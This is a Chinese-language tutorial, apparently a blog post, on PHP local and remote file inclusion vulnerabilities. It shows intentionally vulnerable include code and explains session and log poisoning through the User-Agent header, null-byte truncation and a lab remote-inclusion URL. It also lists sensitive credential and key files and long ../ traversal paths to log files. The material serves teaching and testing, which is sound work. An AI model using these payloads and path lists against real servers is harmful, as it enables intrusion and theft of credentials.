一,什么是文件包含漏洞
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
例如:
<php require $_GET['filename'];?php>
总结:要想成功利用文件包含漏洞,需要满足两个条件
1,要有文件包含函数并且通过动态变量的方式引入需要包含的文件
2,用户能够控制该动态变量
php中常见包含文件的函数
1.include( )
当使用该函数包含文件时,只有代码执行到include( )函数时才将文件包含进来,
发生错误时之给出一个警告,继续向下执行。
2.include_ once( )
功能与Include( )相同,区别在于当重复调用同一文件时,程序只调用一-次
3.require( )
require( )与include( )的区别在于require( )执行如果发生错误,函数会输出错误信
息,并终止脚本的运行。
4.require_ once( )
功能与require( )相同,区别在于当重复调用同一文件时,程序只调用一次。
二,文件包含漏洞的危害
➢配合文件上传漏洞GetShell
➢可以执行任意脚本代码
➢网站源码文件以及配置文件泄露
➢远程包含GetShell(远程文件包含漏洞)
➢控制整个网站甚至是服务器
三,文件包含有三种基本类型
1.最基础的文件包含漏洞
直接可以引用文件,相对路径,绝对路径都可以。
<?php
if(isset($_GET['page'])){
include($_GET['page']);
}else{
include 'show.php';
}
?>
2.指定了目录
这时只能使用相对路径,并且配合.’./'来返回到上级目录
<?php
if(isset($_GET['page'])){
include('./action/'.$_GET['page']);
}else{
include 'show.php' ;
}
?>
3.指定了目录并且有文件后缀
截断绕过
可以看到,不仅对包含的文件指定了目录,还指定了文件的后缀。
解决方法:此处可以使用截断( %00 )来突破这段代码。但是这种方法有一个前提是PHP版本小于5.3.4 ,并且php.ini配置文件中magic_ quotes _gpc=off,如果为On , %00 ( NULL )会被
转义,从无法进行截断。
<?php
if(isset($_GET['page'])){
include( './action/'.$_GET['page'].'.php');
}else{
include show.php' ;
}
?>
四,本地文件包含
1.包含图片马
有上传点,并且是白名单检测直接上传php文件时,先上传图片马,然后再利用文件包含漏洞getshell.
2.包含Session文件
条件:需要攻击者能控制部分Session文件的内容,且未配置open_basedir 比如:
xls:19:"<?php phpinfo();?> PHP默认生成的Session文件往往存放在/tmp/下,如下两个常见位置 /var/lib/php/sess_[PHPSESSID] /tmp/sess_[PHPSESSID]
需要知道Session文件的存放位置,可猜解或通过phpinfo文件获取
如PHPmyadmin登录会携带Session,可利用这点进行文件包含,在用户名处插入代码,F12查看session,添加上sess_得到session值。
插入<?php phpinfo();?>到cookie文件的name中,然后文件包含该cookie文件 test.php?file=session路径\sess_8eoljfuef0r7q17nse51ici704oa4s7g
3.包含敏感配置文件
文件包含对绝对路径和相对路径都可读取。
Windows常见敏感文件路径
C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux常见敏感文件路径
/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts //记录每个访问计算机用户的公钥 /etc/passwd /etc/shadow /etc/my.cnf //mysql配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的cmdline参数
4.包含日志文件
1.原理:像linux的apache服务。默认路径是:
/var/log/httpd/access_log
日志文件包含了访问记录,若访问时故意把木马放在请求头中就会被写进日志文件,再被包含就会getshell.
2.实用性不高:但Linu对用户权限分明,一般默认是没有权限读取的。
3.复现:执行chown -R apache /var/log/httpd/access_log
然后抓包,
因为日志保存了User-Agent:内容。所以就把php代码写入到日志文件中了。
常见的日志文件可能存在的地方:
/var/log/httpd/access_log
/var/log/httpd/error_log/etc/httpd/logs/acces_log /etc/httpd/logs/acces.log/etc/httpd/logs/error_log /etc/httpd/logs/error.log/var/www/logs/access_log
/var/www/logs/access.log/var/www/logs/error_log
/var/www/logs/error.log/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/access_log
/var/log/apache/access.log/var/log/apache/error_log/var/log/apache/error.log/var/log/access_log/var/log/access.log/var/log/error_log/var/log/error.log../apache/logs/error.log../apache/logs/access.log../../apache/logs/access.log../../apache/logs/error.log../../../apache/logs/access.log../../../apache/logs/error.log../../../../../../../../../../var/log/httpd/access_log../../../../../../../../../../var/log/httpd/error_log../../../../../../../../../../etc/httpd//logs/access_log../../../../../../../../../../etc/httpd//logs/access.log../../../../../../../../../../etc/httpd//logs/error_log../../../../../../../../../../etc/httpd//logs/error.log../../../../../../../../../../var/www/logs/access_log../../../../../../../../../../var/www/logs/access.log../../../../../../../../../../var/www/logs/error_log../../../../../../../../../../var/www/logs/error.log../../../../../../../../../../usr/local/apache/logs/access_log../../../../../../../../../../usr/local/apache/logs/access.log../../../../../../../../../../usr/local/apache/logs/error_log../../../../../../../../../../usr/local/apache/logs/error.log../../../../../../../../../../var/log/apache/access_log../../../../../../../../../../var/log/apache/access.log../../../../../../../../../../var/log/apache/error_log../../../../../../../../../../var/log/apache/error.log../../../../../../../../../../var/log/access_log../../../../../../../../../../var/log/error_log
五,远程文件包含漏洞
远程文件包含前提条件是,在php.ini配置选项中allow_ur_include和allow_ url_ fopen为On。因为allow_ur_include默认是关闭的所以实用性不大。。。。打开后此时需要一台公网服务器上存放被包含的文件.
例如:
http://192.168.18.136/index.php?page=http://192.168.33.142/showxss.php
就会包含远程的代码并在服务器执行
142ip是windows电脑
136ip是Linux电脑,结果显示的是Linux的配置信息。
六,如何发现文件包含漏洞
1.寻找可疑点
1、代码审计–>
找这些关键字符:include,include_ once,require,require_ once
2、利用网上已曝光的漏洞
3、观察功能点(网站某些功能点可以将文件内容直接展示到前端)、 观察参数名称(filename、 file、 path、fil
epath)、 观察参数值是否传入文件名称、文件路径
2.测试是否为漏洞点
1、windows
读电脑上所有人都可以读的固定文件
2、Linux 读/etc/passwd等。
若有显示则存在漏洞点。
伪协议
当文件包含漏洞可利用时,可以配合伪协议进行查看目标机的一些配置文件信息,甚至可以执行一些命令,对于windows电脑还可以写入文件等操作。
下篇文章会详细讲述。